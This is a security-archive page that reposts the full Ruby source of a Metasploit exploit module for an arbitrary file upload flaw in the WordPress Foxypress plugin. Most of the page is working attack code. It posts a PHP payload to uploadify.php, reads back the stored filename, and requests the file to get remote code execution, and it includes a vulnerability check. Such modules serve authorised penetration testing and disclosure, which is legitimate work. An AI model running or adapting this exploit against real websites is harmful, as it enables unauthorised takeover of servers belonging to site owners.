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WordPress Foxypress uploadify.php Arbitrary Code Execution

WordPress Foxypress uploadify.php Arbitrary Code Execution
Posted Mar 24, 2015
Authored by patrick, Sammy FORGIT | Site metasploit.com

This Metasploit module exploits an arbitrary PHP code execution flaw in the WordPress blogging software plugin known as Foxypress. The vulnerability allows for arbitrary file upload and remote code execution via the uploadify.php script. The Foxypress plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.

tags | exploit, remote, arbitrary, php, code execution, file upload
MD5 | 3a487527cd2c26d67722a8add1279d90

WordPress Foxypress uploadify.php Arbitrary Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
'Description' => %q(
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
file upload and remote code execution via the uploadify.php script. The Foxypress
plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
),
'Author' =>
[
'Sammy FORGIT', # Vulnerability Discovery, PoC
'patrick' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '18991'],
['OSVDB' '82652'],
['BID', '53805'],
['WPVDB', '6231']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
'DisclosureDate' => 'Jun 05 2012',
'DefaultTarget' => 0))
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
)

return Exploit::CheckCode::Detected if res && res.code == 200

Exploit::CheckCode::Safe
end

def exploit
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

print_status("#{peer} - Sending PHP payload")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)

if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end

filename = "#{Regexp.last_match[1]}.php"

print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
register_files_for_cleanup(filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
)

print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
end
end

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